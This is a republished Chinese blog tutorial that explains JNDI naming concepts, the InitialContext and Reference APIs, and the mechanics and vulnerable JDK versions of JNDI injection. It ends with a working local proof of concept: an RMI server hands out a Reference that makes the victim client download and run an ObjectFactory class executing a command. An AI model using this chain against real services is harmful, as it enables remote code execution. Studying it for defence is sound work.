0


【java安全】JNDI注入概述

文章目录

【java安全】JNDI注入概述

什么是JNDI?

JNDI(Java Naming and Directory Interface)

Java

提供的

Java

命名和目录接口。通过调用

JNDI

API

可以定位资源和其他程序对象。

命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端:

image-20230819204116339

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:
协议作用LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象DNS域名服务CORBA公共对象请求代理体系结构

Java JDK

里面提供了5个包,提供给

JNDI

的功能实现,分别是:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext - 上下文

构造方法:

//构建一个初始上下文。InitialContext()//构造一个初始上下文,并选择不初始化它。InitialContext(boolean lazy)//使用提供的环境构建初始上下文。InitialContext(Hashtable<?,?> environment)

常用方法:

//将名称绑定到对象。 bind(Name name,Object obj)//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。list(String name)//检索命名对象。lookup(String name)//将名称绑定到对象,覆盖任何现有绑定。rebind(String name,Object obj)//取消绑定命名对象。unbind(String name)

示例:

importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclass jndi {publicstaticvoidmain(String[] args)throwsNamingException{// 构建初始上下文InitialContext initialContext =newInitialContext();// 查询命名对象String uri ="rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);}}
Reference - 引用
Reference

类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取

RMI

服务器上的对象为

Reference

类或者其子类时,则可以从其他服务器上加载

class字节码

文件来实例化。

构造方法:

//为类名为“className”的对象构造一个新的引用。Reference(String className)//为类名为“className”的对象和地址构造一个新引用。 Reference(String className,RefAddr addr)//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className,RefAddr addr,String factory,String factoryLocation)//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  Reference(String className,String factory,String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。voidadd(int posn,RefAddr addr)//将地址添加到地址列表的末尾。 voidadd(RefAddr addr)//从此引用中删除所有地址。  voidclear()//检索索引posn上的地址。 RefAddrget(int posn)//检索地址类型为“addrType”的第一个地址。  RefAddrget(String addrType)//检索本参考文献中地址的列举。 Enumeration<RefAddr>getAll()//检索引用引用的对象的类名。 StringgetClassName()//检索此引用引用的对象的工厂位置。  StringgetFactoryClassLocation()//检索此引用引用对象的工厂的类名。  StringgetFactoryClassName()//从地址列表中删除索引posn上的地址。    Objectremove(int posn)//检索此引用中的地址数。 intsize()//生成此引用的字符串表示形式。StringtoString()

示例:

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.NamingException;importjavax.naming.Reference;importjava.rmi.AlreadyBoundException;importjava.rmi.RemoteException;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclass jndi {publicstaticvoidmain(String[] args)throwsNamingException,RemoteException,AlreadyBoundException{String url ="http://127.0.0.1:8080";Registry registry =LocateRegistry.createRegistry(1099);Reference reference =newReference("test","test", url);ReferenceWrapper referenceWrapper =newReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);}}

这里创建完

Reference

后又调用了

ReferenceWrapper

将其传进去了,为什么这么做呢?

因为我们前面学习

RMI

的时候,将类注册到

Registry

使用的类必须继承

UnicastRemoteObject

类以及实现

Remote

接口

但是我们这里

Reference

没有满足,所以需要使用

ReferenceWrapper

将其封装一下

publicclassReferenceimplementsCloneable,java.io.Serializable...publicclassReferenceWrapperextendsUnicastRemoteObjectimplementsRemoteReference

JNDI注入

JNDI 注入,即当开发者在定义

JNDI

接口初始化时,

lookup()

方法的参数可控,攻击者就可以将恶意的

url

传入参数远程加载恶意载荷,造成注入攻击。

JNDI注入的过程如下:

  • 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,那么恶意类需要实现ObjectFactory接口

具体攻击流程图:

image-20230819222344477

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议JDK6JDK7JDK8JDK11LADP6u211以下7u201以下8u191以下11.0.1以下RMI6u132以下7u122以下8u113以下无

JNDI & RMI
利用版本:
JDK 6u132

7u122

8u113

之前可以

JNDI注入使用Reference

首先搭建一个服务端:

RMIServer

服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.NamingException;importjavax.naming.Reference;importjava.rmi.AlreadyBoundException;importjava.rmi.RemoteException;importjava.rmi.registry.LocateRegistry;importjava.rmi.registry.Registry;publicclassRMIServer{publicstaticvoidmain(String[] args)throwsRemoteException,NamingException,AlreadyBoundException{Registry registry =LocateRegistry.createRegistry(1099);String url ="http://127.0.0.1:1098/";Reference reference =newReference("EvilClass","EvilClass", url);ReferenceWrapper referenceWrapper =newReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);}}

然后搭建一个客户端

RMIClient

(客户端也是受害端):

importjavax.naming.InitialContext;importjavax.naming.NamingException;publicclassRMIClient{publicstaticvoidmain(String[] args)throwsNamingException{InitialContext context =newInitialContext();String url ="rmi://127.0.0.1:1099/class";
        context.lookup(url);}}

然后需要创建一个恶意类:

实现

ObjectFactory

接口,把恶意代码写在

getObjectInstance

里面

importjavax.naming.Context;importjavax.naming.Name;importjavax.naming.spi.ObjectFactory;importjava.io.IOException;importjava.util.Hashtable;publicclassEvilClassimplementsObjectFactory{static{System.out.println("hello,static~");}publicEvilClass()throwsIOException{System.out.println("constructor~");}@OverridepublicObjectgetObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment)throwsException{Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");returnnull;}}

搭建好了以后我们首先运行服务端:(注意jdk版本)

image-20230820155446021

然后我们将

EvilClass

编译一下,使用python开启一个http服务:

image-20230820155647771

接着我们运行客户端RMIClient:

image-20230820155815498

我们发现已经成功执行代码了,并且是在客户端执行的

可以参考这张思维导图:

image-20221028115108761

标签: java web安全 JNDI

本文转载自: https://blog.csdn.net/qq_61839115/article/details/132477259
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“【java安全】JNDI注入概述”的评论:

还没有评论